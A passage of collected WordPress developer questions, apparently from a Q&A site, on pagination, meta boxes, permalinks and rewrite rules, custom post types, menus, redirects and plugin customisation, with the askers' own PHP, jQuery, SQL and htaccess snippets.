Post Pagination Modifications (wp_link_pages)

I'm looking to modify how Wordpress is showing the pages of my posts. What I currently have is a previous and next page link at the bottom of the post with the following code:               <?php wp_link_pages( array( 'before' => '
',      'after' => '
', 'next_or_number' => 'next', 'previouspagelink' =>      __('Previous'), 'nextpagelink'=> __('Next')  ) );?>      Which would render: Previous Next What I want to show is: Previous 1 of 5 Next The page where I am and the total of pages in between both buttons. Also, is there any way that when I am on page 5 of 5 the next button still appears but goes to the next article? Thanks a lot!


Best practices for meta box placement?

I was wondering if there were any cut and dry rules to placing meta boxes? I have a meta box for a custom post type for a TV series that holds extra information for said series: when it began airing, genre, etc and I'm debating whether to place it under the editor or on the side. Are there any unofficial rules to what kind of meta box goes where or is it up to the developer's discretion?


Premium theme - hardcoded url?

I bought theme (White rock), installed new site **en.mysite.net** from scratch, but theme still references to **mysite.net** Is there any chance that there is somewhere in theme files hardcoded url for which I bought theme, or something like that? Or any other idea? I installed new site to proper directory, url is proper - **en.mysite.net**.


Sidebar Categories change arrow when subcategories are shown on click

I have an arrow on the maincategory if a particular category has subcategory, iam using jquery animation to slideup, slidedown subcategory. i want to remove previous arrow and replace it with different arrow when the subcategories slidesdown Here is my Jquery code for Reference:               $(document).ready(function () {         $("aside ul li:has(ul)").addClass("ic-arrdn");         var e = $("aside > ul > li.current-cat, aside > ul > li.current-cat-parent");         if (e.length == 1) {         }         $("aside > ul > li > ul.children").each(function () {             $(this).find("li")             $(this).parent().toggle(function () {                 $(this).find("ul").slideDown()             }, function () {                 $(this).find("ul").slideUp()             })         })     });      This the markup:               -

Cat 2(234)

Cat 1(1)

      I Add the Class ic-arrdn if there are subcategories in the category, then if the main category is clicked i want the class to change from ic-arrdn to ic- arrup..


problem with blank page

i have a real big problem with my wordpress website functions.php when i put the following code to achive post view and thumbnail. i'm getting the blank page error which when i publish or update a post i get blank white page. i am searching and the result was that the blank page while publish or update means there is a problem in functions.php when i cut all of the code from the functions.php file resave it. the blank page problem will solved. this is my functions.php code and seems there is not error:               <?php      add_theme_support( 'post-thumbnails' );      function wpb_set_post_views($postID) {             $count_key = 'wpb_post_views_count';             $count = get_post_meta($postID, $count_key, true);             if($count==''){                 $count = 0;                 delete_post_meta($postID, $count_key);                 add_post_meta($postID, $count_key, '0');             }else{                 $count++;                 update_post_meta($postID, $count_key, $count);             }         }         //To keep the count accurate, lets get rid of prefetching         remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);         function wpb_track_post_views ($post_id) {             if ( !is_single() ) return;             if ( empty ( $post_id) ) {                 global $post;                 $post_id = $post->ID;                }             wpb_set_post_views($post_id);         }         add_action( 'wp_head', 'wpb_track_post_views');         function wpb_get_post_views($postID){             $count_key = 'wpb_post_views_count';             $count = get_post_meta($postID, $count_key, true);             if($count==''){                 delete_post_meta($postID, $count_key);                 add_post_meta($postID, $count_key, '0');                 return "تعداد بازدید:"."0";             }             return 'تعداد بازدید:'.$count;         }     ?>


Creating a Playlist of Widgets

I'm trying to create a specialized theme that would enable users to show a playlist of widgets in their sidebar. By playlist, I mean that each widget in the sidebar would follow a specific schedule. For example, one widget might be scheduled to show every day from 9AM-5PM, while another widget may be scheduled to show daily from 5PM-11PM. Is there a way this can be done such that the scheduling of individual widgets is handled by the theme itself? Thx.


Don't execute function on specific posts

function content_strip_img($content) {     global $post;     if ($post->ID !== 1 || $post->ID !== 2 || $post->ID !== 3 ) {            return preg_replace('/<img[^>]+./','', $content);         }     }     add_filter('the_content', 'content_strip_img');      That doesn't seem to work? How do I exclude specific posts from a function - i.e. execute the function on all **other** posts?


Short of raw SQL, can I query for multiple attachment metadata that have a given array key?

With raw SQL through `$wpdb`, I believe that I could do something along the lines of this (untested):               SELECT post_id, meta_value     FROM postmeta     WHERE meta_key = '_wp_attachment_metadata'     AND meta_value LIKE '%:"custom_key";a:%'      That said, if there is built-in functionality for this kind of query then I would rather not reinvent the wheel. All of my codex digging has just returned ways to get the attachment metadata for a given id or set of ids, which will not do what I need. I could also retain a list of IDs with this particular array key, but I'd rather not keep this data since it seems like extra clutter...


Multisite/Network What file to edit to change the "new blog" registration text

I'm not able to find the correct file to edit text. What file do I edit in order to change the text in the picture below? I thought it was `wp-signup.php`, but the text is not there. Thanks for any help! ![screenshot](http://i.imgur.com/RY733QT.jpg)


Wordpress - Hide posts in admin from user who did not write them

Working on a site and the user only uses two roles. Admin and Author. He has hundreds of authors writing on his blog and wants the ability to hide all Posts under the Posts section of the admin panel that the current logged in author did not write. Basically when an author logs in he wants them to only be able to SEE their own posts and not everyone else. It's a competition blog and he doesn't' want them to easily be able to see the total number of posts written by someone else. Any help would be much appreciated. I'm sure there is a hook I can throw in my functions.php file that will hide this, but no look in the last 3 hours of googleling.


Min height of page

I am using the Weaver theme and would like to set the minimum page height to a certain size. I have read about it and added:               min-height: 900;      to my style sheet but it does not seem to be working. What should I do?


Make a database query using WordPress

I am working on a Wordpress theme that has a homepage slider. I have a table in Wordpress database that stores post view counts and I would like to make my slider show the top viewed posts. This is the SQL to get the top post, Post ID's               SELECT `post_id`, `single_views`     FROM `wp_ak_popularity`     ORDER BY `single_views`     DESC LIMIT 30      And below is my current Wordpress DB query that is currently in use.               $featured = new WP_Query(         array(             'no_found_rows'             => TRUE,             'update_post_meta_cache'    => FALSE,             'update_post_term_cache'    => FALSE,             'ignore_sticky_posts'       => 1,             'posts_per_page'            => wpb_option('featured-slider-number'),             'cat'                       => wpb_option('featured-slider-category')         )     );      I was looking at the WordPress documentation site and saw that I could use something like this to only query the posts that I need...               $featured  = new WP_Query(          array(              post_type' => 'post',             'post__in' => array( 2, 5, 12, 14, 20 )         )     );      Where I need help is how I can make the first Database query and get those results into a variable like this               $post_ids = '2, 5, 12, 14, 20';      So I can then make the main Database query by simply passing in the Post ID's that I need. Can someone show me how to get the first list of ID's?


Show previous month's posts

I've managed to loop through the current month's posts in January but I am trying to get the previous month's posts in December of the previous year. I think this is where the problem might be, that it is 2014 and the the posts I am after is in 2013 (Dec). I'd appreciate it if someone can spot the problem. I have been through hordes of examples, the codex and the WordPress forums but not found anything that would work.                                         <?php                       $prevMonth = date('M', mktime(0, 0, 0, date('m'), 0, date('Y')));                                                                     $newsPrevArgs = array(                     'cat'               => 'news',                     'monthnum'          => $prevMonth,                     'order'             => 'DES',                     'posts_per_page'    => 5                 );             ?>

<?php echo date('M Y', mktime(0, 0, 0, date('m'), 0, date('Y'))) ?>
                  <?php                       $previous_news = new WP_Query( $newsPrevArgs );                 $isFirstNewsLoop = true;                 $newsItemNum = 0;                      // Loop through all news items                      while ( $previous_news->have_posts() ) {                     $previous_news->the_post(); ?>                              <?php                              echo '
';                                           echo '' . get_the_date('d M Y', '', '') . '';                                 echo '' . get_the_post_thumbnail($page->ID, 'home-widget-210') . '';                                 echo '' . get_the_title() . '';                                 echo '' . get_the_excerpt() . '';                                 wp_reset_postdata();                             echo '
'                         ?>                               <?php                              $newsItemNum +=1;                         $isFirstNewsLoop = false;                               ?>                  <?php } ?>


How do I set up real anonymous posting in bbpress forums?

I have bbpress-post-topics plugin installed so that my comments forms are replaced by a bbpress forum topic, it's working but I would like to enable anonymous posting. ![how do i remove the fields so users can post anonymously?](http://i.stack.imgur.com/ZzfCV.png) Currently, as you can see above, the Author Name, Email, Website and Topic Title are required. I would like to adjust this so only the 'topic title' is required and if they are not logged in, their posts are attributed to a user called 'anonymous' I can edit the PHP if required - I really thought the setting in Forums for 'Allow guest users without accounts to create topics and replies' would have achieved what I'm aiming for. Note: This problem exists in the traditional forums too, e.g. http://www.rugbydata.com/forums/forum/aviva-premiership/ You can see the author name/email are required fields. How do I remove them as required fields so users can really post anonymously without creating an account?


Custom-Metaboxes-and-Fields text_url field prepending http://

I'm using the Custom Metaboxes and Fields code wich is pretty good. However I need sanitization on URL fields of course but the built in text_url field type is adding 'http://' to my entries. I know it is using WP's esc_url (cmb_Meta_box_types.php) And cmb_Meta_box_Sanitize esc_url_raw() How can I get this field type to return only the inputted value?


Plugin's total number of users

Sorry if this has been asked before, but I couldn't find any reference to this here. Looking at a plugin's stats on the WordPress site, you can see a percentage of versions of your plugin being used. Do you know of a way of getting the total number of users? That would be the 100% of the pie chart ;) From what I could get on the stats page, the percentages are coming from:               http://api.wordpress.org/stats/plugin/1.0/plugin      But this just returns a JSON with the percentages already there. No total numbers. And the API is not really documented. I could also get some numbers with:               http://api.wordpress.org/stats/plugin/1.0/downloads.php?slug=plugin-slug&limit=max      But this is just day per day downloads. I want to have an idea of how many users are actually using a given plugin. Any ideas?


Advanced Custom Fields and Yoast SEO keyword analysis

The problem I'm having is the **keyword page analysis tool** doesn't read my custom fields so I am trying to figure out how to run a filter on them. I found a blog post on Yoast website here here which references this issue and they list the filter `wpseo_pre_analysis_post_content`, but I am unsure of how to run this on the fields. I found an action for running a function on the admin edit screen on the ACF website : acf/input/admin_head, but I don't know how to run the filter on the actions that have been loaded. EDIT: I found out the acf plugin actually has this filter built in but doesnt seem to be working.                       // set value             if( !isset($field['value']) )             {                 $field['value'] = apply_filters('acf/load_value', false, $post_id, $field);                 $field['value'] = apply_filters('acf/format_value', $field['value'], $post_id, $field);                      apply_filters( 'wpseo_pre_analysis_post_content', $field['value'] );             }


wordpress url with format .com/category/sub-category

I may be overlooking a simple answer here, but this one is stumping me. I am converting a site to wordpress. The current site has many pages whose URL has the format www.x.com/category/topic. What I cant figure out/remember, is how to create a page or post with that format. As far as I know, the standard wordpress format is www.x.com/category It is important to keep the integrity of these links, so keeping the exact destinations is a must. I would like to accomplish this without the use of redirection plugins. Thank you in advance.


Listing authors and date archive from custom post type

I've got a cpt called 'blog', now I would like to list all authors that contributed to that cpt. Also I would like to list all blogposts (from the 'blog' cpt) grouped in months, like wp_get_archives() does.   1. Authors. I tried to use wp_list_authors but it only lists authors from regular posts, not cpt's. I only want list authors of the 'blog' cpt. What to do?   2. Monthly archives. I tried to use wp_list_archives() following instructions from Bainternet (here: Get monthly archives for custom post type) and that lists "monthname year", looks great. BUT, the permalinks created looks like this: www.example.com/2011/10   ...and that leads nowhere! I get a 404 error. All the 'blog' cpt posts are located under www.example.com/blog and I want the date archive url to include /blog as well. ~~So maybe it's just a rewrite thing but I do fix that?~~ Just manually typing www.example.com/blog/2011/10 only gets me to the 404 error page also. Hope you can help me! * * * ## Update 1 I managed to rewrite the urls to the archives so now they look like this: www.example.com/blog/2011/10 This is the code I used for the rewrite:               add_rewrite_tag('%blog-date%','([\d]{4}-[\d]{2}-[\d]{2})');          add_action( 'init', 'blog_rewrites' );     function blog_rewrites() {         add_rewrite_rule( "blog/day/([\d]{4}-[\d]{2}-[\d]{2})/?$", 'index.php?post_type=blog&blog-date=$matches[1]', 'top' );     }          add_filter( 'query_vars', 'blog_vars' );     function blog_vars ( $vars ) {         $vars[] = 'blog-date';         return $vars;     }      But I still get the 404 error though... * * * ## Update 2 Applying code from @Bainternet's response below I was able to get my authors list functioning but I still get a 404 on my monthly archives links. The url seems correct though: www.example.com/blogg/2011/10 This is the code from my functions.php right now:               add_filter('get_archives_link', 'blog_archive_links');     function blog_archive_links($html){         $home_url = home_url();         $home_url_with_blog  = $home_url .'/blogg';         return str_replace($home_url,$home_url_with_blog,$html);     }          //to match http://www.example.com/blog/2011/12/1/ use     add_rewrite_rule('^blogg/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$','index.php?post_type=blogg&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]','top');     //to match http://www.example.com/blog/2011/12/1/page/2 use     add_rewrite_rule('^blogg/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$','index.php?post_type=blogg&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&page=$matches[4]','top');     //to match http://www.example.com/blog/2011/12/ use     add_rewrite_rule('^blogg/([0-9]{4})/([0-9]{1,2})/(?$','index.php?post_type=blogg&year=$matches[1]&monthnum=$matches[2]','top');     //to match http://www.example.com/blog/2011/12/page/2 use     add_rewrite_rule('^blogg/([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$','index.php?post_type=blogg&year=$matches[1]&monthnum=$matches[2]&page=$matches[3]','top');          function Cpt_getarchives_where_filter( $where , $r ) {       $post_type = 'blogg';       return str_replace( "post_type = 'post'" , "post_type = '$post_type'" , $where );     }      And this is the code in my sidebar.php:               add_filter( 'getarchives_where' , 'Cpt_getarchives_where_filter' , 10 , 2 );     wp_get_archives();     remove_filter('getarchives_where' , 'Cpt_getarchives_where_filter' , 10 );      As you can see my cpt isn't called 'blog', it's actually called 'blogg', that's the Swedish spelling, shouldn't matter though. Also, I'm not using any plugin to get the cpt archives to work, I've simply created a file called archive-blogg.php and set the permalinks for the blogposts in the 'blogg' cpt to '/blogg' using a plugin called 'Custom Post Permalinks' that doesn't seem to be around anymore. It seems to do everything else right but I could try to replace that plugin with some code in functions.php. Apart from that, anything else that could be tested to get this to work?


How to combine 2 separate htaccess

I have 2 separate htaccess and i need to combine them into one but im not sure how to do it. These are my htaccess: 1 (the current one)               <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L]     </IfModule>        1. (the new one) RewriteEngine On RewriteCond %{THE_REQUEST} \ //([^\?\ ]*) RewriteRule ^ /folder/%1 [L,R=301] Should i just put them together inside the same ifmodule? I already tried that and it didnt work. Thank you.


Show value of select dropdown in meta box

I have created a meta box which has a select dropdown list and i want to show it in the post as a user selects a particular option from meta box.I cant figure it out how its done.Here is my meta box code.               <?php     function display_post_options(){         global $post;         wp_nonce_field( basename( __FILE__ ), 'post_options_nonce' );          $post_options_select_value =  get_post_meta($post->ID,'post_options_select',true);          ?>                        <label for="options-select">Choose Your Post Layout:</label>         <select name='post_options_select' id="options-select">             <option id='right-sidebar' value='right' name='right_sidebar' <?php selected($post_options_select_value, 'right'); ?> >Right sidebar</option>             <option id='left-sidebar' value="left" name='left_sidebar' <?php selected($post_options_select_value, 'left'); ?>>Left Sidebar</option>             <option id='no-sidebar' value="no" name='no_sidebar' <?php selected($post_options_select_value, 'no'); ?>>No Sidebar</option>         </select>               <?php     }          function post_options(){         add_meta_box(              'post-options',             'Post Options',             'display_post_options',             'post',             'advanced',             'high',             $callback_args         );     }          function save_post_options($post_id){              if (if_user_can_save($post_id, 'post_options_nonce')) {             update_post_meta($post_id, 'post_options_select', $_POST['post_options_select']);         }          }          function if_user_can_save($post_id, $nonce){              //Check if post is autosave         $is_autosave = wp_is_post_autosave($post_id);         //Check if it is a Revision         $is_revision = wp_is_post_revision($post_id);         //Is the nonce valid         $is_valid_nonce = ( isset( $_POST[ $nonce ] ) && wp_verify_nonce( $_POST[ $nonce ], basename( __FILE__ ) ) );         return !($is_autosave || $is_revision) && $is_valid_nonce;          }          function display_content( $content ){         $test = get_post_meta(get_the_ID(), 'options-select', true);         $content .= $test;         print_r($test);         return $content;     }          add_action('add_meta_boxes', 'post_options');     add_action( 'save_post', 'save_post_options', 10, 2 );     add_action('the_content', 'display_content');     ?>


URL / Templating system advice

I am trying to set up my blog so that the following URL pattern:               http://myblog.com/category/somecategory/      Will use the template file category.php I have created the template, however, when I access the URL, I just get the template front-page.php (I'm not being redirected - the URL in the address bar is still http://myblog.com/category/somecategory/) The links to the category pages are being auto-generated by the Categories widget and each category has at least one post in it. Can anyone help? Thanks


Custom Facebook share button with custom title,url,image in wordpress

I know there may be many such question in stackoverflow . but i am not getting solution what i want i am using wordpress. In my all post page there is share button ( **via addthis plugin** ) but what happening is when i click to share on Facebook ( **via addthis plugin** ) its taking all thing perfect i means url,title but images is taken something else. demo url. So i tried to made custom share button which is below the addthis plugin : Thats : **Custom Share on Facebook page!** but when i click on it nothing happens also my title and link is shown on website : below is code of my custom Facebook share :                 <?php         $title = the_title();         $url= the_permalink();         $summary=urlencode('Custom message that summarizes what your tab is about,  or just a simple message to tell people to check out your tab.');         $image= wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ),  'single-post-thumbnail' );       ?>         <a onClick="window.open('http://www.facebook.com/sharer.php?s=100&p[title]=<?php echo $title;?>&p[summary]=<?php echo $summary;?>&p[url]=<?php echo $url; ?>&&p[images][0]=<?php echo $image[0];?>', 'sharer', 'toolbar=0,status=0,width=548,height=325');" target="_parent" href="javascript: void(0)">             Custom Share on Facebook page!         </a>      I have also putted OpenGrap tag in my wordpress header.php between head line               <?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'single-post-thumbnail' ); ?>     <meta property="og:title" content="<?php the_title(); ?>" />      <meta property="og:description" content="" />       <meta property="og:image" content="<?php echo $image[0]; ?>" />      <meta property="og:video" content="" />      <meta property="og:video:width" content="560" />       <meta property="og:video:height" content="340" />       <meta property="og:video:type" content="application/x-shockwave-flash" />      please let me know what going wrong and where. i need all my post from my website should be share on Facebook and twitter with it title,images( thats **resp post** image not any other image from website which is happening now ) and its description ) Working reference link **UPDATE NOW :** After long here there i found https://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.thefansworld.com%2Fhappy- new-year-trailer%2F here when i putted my link there is showing my features images but under : `When shared, this is what will be included` you will see something else (images )


Custom built theme won't filter categories

I'm currently finishing up my first proper wordpress theme for my uni assignment. When I select a category in the sidebar the full list of posts from all categories are still shown. I've tried searching online but can't seem to find how to fix this. The site I'm currently building is http://bluepenguindesigns.co.uk/. Here is the current category.php contents - http://pastebin.com/89jiFB5i


has_archive for default post type

So I have several CPTs set up but I want to have all my default posts listed under /blog. I was hoping I could somehow enable has_archive for the default post type but I have yet to succeed. Any ideas?               add_action( 'init', 'enhance_post' );          function enhance_post( ) {         global $wp_post_types;              $wp_post_types['post']->has_archive = true;         $wp_post_types['post']->rewrite = array(             'slug' => 'blog',             'with_front' => 0,             'pages' => 1,         );     }      (the above doesn't seem to work)


admin-ajax.php (aborted) error when using jQuery.get

One thing that really confuse me is the following: When I load a javascript file via Ajax and I watch the http requests thats being made, then I see the following error in Firebug: admin-ajax.php (aborted) Please see this picture: ![enter image description here](http://i.stack.imgur.com/lnWRj.png) It is this jquery get file function that's causing this error:               jQuery.get('/assets/js/shop.js', function(data) { eval(data); });       If I remove the above script, then there is no error anymore. Any suggestions? EDIT1: I already see why it's giving these aborted errors. In the shop.js file there are some calls to the admin-ajax.php:               /* <![CDATA[ */     var wc_cart_fragments_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","fragment_name":"wc_fragments"};     /* ]]> */      Should I place these CDATA in the body of my html or do I need to do something else?


adding option-tree list items metaboxes from front end

i am using option-tree to add metaboxes to a custom post type and i want to update the list-item metabox from the front end. The list item consists of Name, state, and coountry as repeatable list items.


Permalinks Question: Adding a prefix ONLY in front of the posts

I want all my posts to have /ARTICLES/%post-name% structure. But as soon as I modify the custom structure to that, for a reason that beats me, wordpress adds the `articles` prefix across the board. So I end up with urls like this for my category pages with something like the following `mysite.com/articles/category/videos` here the videos is a category and since I did not change the category to anything else, I was expecting the urls to be well, mysite.com/category/videos ), not mysite.com/articles/category/whatever Obviously, such a URL does not make sense. On the `permalinks` screen, under the `Common Settings`'s `Post name` option, I get a grayed out ( uneditable ) sample link that shows something like `mysite.com/sample-post`. I wished I could have edit that grayed out info to `mysite.com/articles/sample-post` while keeping the other options as is. But this does not seem to be possible. Am I at a dead-end here? Is there a way to only change the post urls without effecting the other urls?


Show Heirachy of categories in WP Download Monitor

I have the Download Monitor Plugin installed and it works beautifully, I just have a question regarding the categories. I have a parent category, Issue 0, which will have anywhere from 3-6 sub categories in it. Instead of the section on the front page looking like below, where it just lists every download in the parent category regardless of sub categories, ![categories](http://i.stack.imgur.com/Pu5Bi.png) How could I make it resemble the structure below, which actually uses the categories, where clicking on the sub category takes you to all of its downloads: Issue 0 (7) >>   * News   * Diabetes   * Worldview   * interviews ( These needs to remain as links, like above) Below is the code for the download_page shortcode, is there a way to incorporate the sub categories into this function?               function wp_dlmp_shortcode_download_page( $atts ) {              extract(shortcode_atts(array(             'base_heading_level' => '3',             'pop_count' => '4',             'pop_cat_count' => '4',             'show_uncategorized' => '1',             'per_page' => '20',             'format' => '',             'exclude' => '',             'exclude_cat' => '',             'show_tags' => '0',             'default_order' => 'title',             'front_order' => 'hits'         ), $atts));              $output = wp_dlmp_output($base_heading_level, $pop_count, $pop_cat_count, $show_uncategorized, $per_page, $format, $exclude, $exclude_cat, $show_tags, $default_order, $front_order);         return $output;          }     add_shortcode('download_page', 'wp_dlmp_shortcode_download_page');     ?>


How to limit the characters shown on the page - get_content

I've the below php to display the content of the post id#9 on my 'home page' of my site, so that whenever the client updates the page, it's reflected on the homepage as well - rather than having to make the change twice. **At the moment all the post content is being shown, I need to strip it down to about 100 words...** Any ideas?               <?php         $id = 9;         $post = get_page($id);         $content = apply_filters('the_content', $post->post_content);         echo $content;     ?>


If in parent category

I have this structure Category > Subcategory > Post I´m trying to display some content if the user it´s on a specific category, or in it´s subcategory or post. I´m using this code but it only works if the user is in the category.php, not if the user it´s on a single.php that belongs to the that parent category:                   <?php if(is_category('catering')){?>
                 <img src="<?php bloginfo('template_directory') ?>/images/canal.png" />

texto

         <?php    }  ?>      I tried with if(in_category) but it still didn´t show anything on single.php. Any ideas?


Woo Commerce Variations

I've got what would appear to be a simple site setup. I've got an item: The ABC Cell Phone (available in TWO COLORS) add a charger for $5.00 add a case for $5.00 add a screen protector for $5.00 add (well, you get the idea, add some accessories) When I do this in variations I have to calculate the math for all of those products and variations by hand, is there a simple way to do this? Previously, with other carts, I was able to just add an item and checkbox and it would calculate with the order. I've paid out $$$$ for extensions that don't seem to cut it. The import/export suite would require some kind of spreadsheet magic I can't put my mind around to update all of the variations for my import file with a simple price change of ONE item. ## This variation scheme doesn't make much sense to me... Seems like a ton of manual updating for something that should be pretty simple. I've also got another little thing I'm trying to figure out. We do embroidery for $5.00 a line. Max 2 lines. So, is there an easy way to have the customer enter their info in a TXT Box that sizes to the embroidery standard sizes? 12 characters for large letters 15 characters for medium letters 20 characters for small letters You'd think that would be just a simple plugin? Any hints? Anyone?


Conditional menu for registerd users/guests (Genesis framework)

I'm running Genesis Framework on WordPress and I have to display a different top menu for logged in users and a different one for unregistered users (guests). I created the 2 menus in the WP backend > Appearance > Menus:   * `top-menu1` for `guests`   * `top-menu2` for `registered users` Normally I'd have to just use this:               if( !is_user_logged_in() ){         wp_nav_menu( array( 'primary' => 'top-menu1' ) );     } else {         wp_nav_menu( array( 'primary' => 'top-menu2' ) );     }      Since this is Genesis though, I'd like you to point me to:   * what's the equivalent of the `wp_nav_menu` function?   * how do I register the 2 menus?   * what files do I have to modify?


Generating wordpress menu - cant understand the config

I created html template based on bootstrap css and am trying to create wordpress theme from it now. Created my own menu function for it, which basically just sets default config for wp_nav_menu function: functions.php               <?php          function pin_menu(){              $defaults = array(             'theme_location'  => 'primary',             'menu'            => 'nav-menu',             'container'       => false,             'container_class' => '',             'container_id'    => '',             'menu_class'      => 'nav-collapse collapse pull-right',             'menu_id'         => '',             'echo'            => true,             'fallback_cb'     => 'wp_page_menu',             'before'          => '',             'after'           => '',             'link_before'     => '',             'link_after'      => '',             'items_wrap'      => false,             'depth'           => 1,             'walker'          => ''         );              return wp_nav_menu( $defaults );     }     ?>      All this prints out this html:

page5

page5

page15

page17

page19

      I cant understand why though. If i read the codex: http://codex.wordpress.org/Function_Reference/wp_nav_menu Then i have set container to false... yet the code prints out div with the classes i have put for menu_class. It wraps links with ul, even though i have set items_wrap to false. This is not what i want though. I actually like this printout but i really cant understand it. And i also would like this ul, that wraps menu items to have certain class.. But when i set items_wrap to `<ul class="nav">%3$s</ul>` then nothing changes... What would be correct config if i want this:

page5

page5

page15

page17

page19

      Thanks Alan Edit: Codex also says, that if you want to remove ul wrapping you need to do something like :               <?php wp_nav_menu( array( 'items_wrap' => '%3$s' ) ); ?>      Sorry, but setting items_wrap does not change anything as far as i can see. Edit2: OK, it seems to be matter of adding too many stats i guess. If i do exactly this:               <?php wp_nav_menu( array( 'items_wrap' => '%3$s' ) ); ?>      Then it works, but other stuff is not how i want. So i guess, i have to set minimal amount of settings, which works. Edit3: Apparently different settings conflict themselves somewhere... I got what i wanted when i changed my settings to this:               <?php          function pin_menu(){              $settings = array(             'container'       => 'div',             'container_class' => 'nav-collapse collapse pull-right',             'container_id'    => '',             'menu_class'      => '',             'menu_id'         => '',             'echo'            => true,             'fallback_cb'     => 'wp_page_menu',             'before'          => '',             'after'           => '',             'link_before'     => '',             'link_after'      => '',             'items_wrap'      => '
%3$s
',             'depth'           => 1,             'walker'          => ''         );              return wp_nav_menu( $settings );     }     ?>


Exclude Posts From Specific Category from Next and Previous post links

I've been searching for this a lot...but all I get is not what I need. I simply want to show next and previous links on single.php (from all the categories, based on publish date, not just in the same category), but skipping a category. So if the next (or previous) post would be in category id 402, skip the post and get the next (or previous) one. this simple code `<?php next_post_link(); ?>` works very well, but I just need it to skip the posts that are in category 402 I also do not want to use the title of the posts, just the links added to "Next" and "Previous" as the link anchor thank you


How to redirect visitor to a custom URL using PHP code in functions.php

The users have to be redirected to a custom URL which I already know (its part of the programming logic). I just need to know which WP function to use/ what php code to use to redirect the user to the new URL. This code will be executed within a php function in functions.php--> that function will first do some processing, and then send the user to the new URL How do I do the above? Note-- I tried using wp_redirect but it does not work. This is the code I tried to use (that did not work)--                      $redirecturl = get_post_type_archive_link('property');            echo "\n\n Redirect URL for property posts=" + $redirecturl;            wp_redirect( "http://" .  $redirecturl + "?post_type=property&search_keyword=" + $search_keyword ;


Pagination posts. Url format

i'm using pagination for very long posts. So i have a problem here. I'm not happy with standard utl structure (where is couple personal reasons for that in my project). For example, i have post               /post.htm      and i need to get second page of it with               /post2.htm      not               /post.htm/2      I'm sure that i won't create post/page with slug post2 How can i change standard url in a such way? I tried this               add_action( 'init', 'wpa5413_init' );     function wpa5413_init()     {         add_rewrite_rule('^([^/]+)([0-9]{1,2}).htm$','$matches[1].htm/$matches[2]','top');     }      But it doesn't work...


How do I limit the number of forms a user can create in gravity forms?

I've been looking at Gravity Forms, and whilst it's a great plugin, it's missing some features. I really want the ability to limit how many forms can be created by a role: Administrator - Unlimited   Editor - 50   Author - 25   Subscriber - 0 I've looked at countless plugins and scoured the Internet, I've found one plugin that limits posts very well, so if it is possible to manipulate the plugin to achieve this goal, that would be great. Dave P.s. The plugin I've been looking at is: "Bainternet Posts Creation Limits"


How to link to specific part of a page in wordpress permalinks

I have a one page template(muse theme) which its main menu items link to a specific part of the page in the webpage itself. I want to add `#` character before post name to go to the specific part of the page just like **wikipedia**. How can I do that in permalinks? It doesn't allow `#` character.


Custom Taxonomy Showing in WP Menu

I have 3 taxonomies bundled with my custom post type. I have noticed my custom post type(cpt) and 2 taxonomies won't show in the Wordpress menu system but 1 taxonomy will. Can anyone point me in the right direction to get the one taxonomy to not be on the menu but get the cpt to show in the menu with a link just to the post type page? Here is my code. From what I can see, all the taxonomies seem the same to me except for the obvious differences to make them different.               <?php     /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Post Type for Sermons     function ssum_sermon_cpt_init() {              $labels = array(             'name'                => _x( 'Sermons', 'Post Type General Name' ),             'singular_name'       => _x( 'Sermon', 'Post Type Singular Name' ),             'menu_name'           => __( 'Sermons' ),             'parent_item_colon'   => __( 'Parent Sermon' ),             'all_items'           => __( 'All Sermons' ),             'view_item'           => __( 'View Sermon' ),             'add_new_item'        => __( 'Add New Sermon' ),             'add_new'             => __( 'New Sermon', 'sermons' ),             'edit_item'           => __( 'Edit Sermon' ),             'update_item'         => __( 'Update Sermon' ),             'search_items'        => __( 'Search sermons' ),             'not_found'           => __( 'No sermons found' ),             'not_found_in_trash'  => __( 'No sermons found in Trash' ),         );         $args = array(             'label'               => __( 'sermons' ),             'description'         => __( 'Displays sermon information' ),             'labels'              => $labels,             'supports'            => array( 'title', 'editor' ),             'taxonomies'          => array( 'speaker', 'service', 'year' ),             'hierarchical'        => false,             'public'              => true,             'show_ui'             => true,             'show_in_menu'        => true,             'show_in_admin_bar'   => true,             'show_in_nav_menus'   => false,             'query_var'           => true,             'menu_position'       => 25,             'menu_icon'           => 'dashicons-format-audio',             'can_export'          => true,             'has_archive'         => true,             'exclude_from_search' => false,             'publicly_queryable'  => true,             'rewrite'             => array(                 'slug' => 'sermons',                 'with_front' => false             ),         );         register_post_type( 'sermons', $args );     }          // Hook into the 'init' action     add_action( 'init', 'ssum_sermon_cpt_init', 0 );               /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Taxonomy for Service Times     function ssum_service_ct_init() {              $labels = array(             'name'                       => _x( 'Services', 'Taxonomy General Name' ),             'singular_name'              => _x( 'Service', 'Taxonomy Singular Name' ),             'menu_name'                  => __( 'Service' ),             'all_items'                  => __( 'All Services' ),             'new_item_name'              => __( 'New Service Name' ),             'add_new_item'               => __( 'Add New Service' ),             'edit_item'                  => __( 'Edit Service' ),             'update_item'                => __( 'Update Service' ),             'separate_items_with_commas' => __( 'Separate services with commas' ),             'search_items'               => __( 'Search services' ),             'add_or_remove_items'        => __( 'Add or remove services' ),             'choose_from_most_used'      => __( 'Choose from the most used services' ),         );         $args = array(             'labels'                     => $labels,             'hierarchical'               => false,             'public'                     => true,             'show_ui'                    => true,             'show_admin_column'          => true,             'show_in_nav_menus'          => true,             'show_tagcloud'              => true,             'query_var'                  => 'service',         );         register_taxonomy( 'service', 'sermons', $args );          }          // Hook into the 'init' action     add_action( 'init', 'ssum_service_ct_init', 0 );          /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Taxonomy for Speakers     function ssum_speaker_ct_init() {              $labels = array(             'name'                       => _x( 'Speakers', 'Taxonomy General Name' 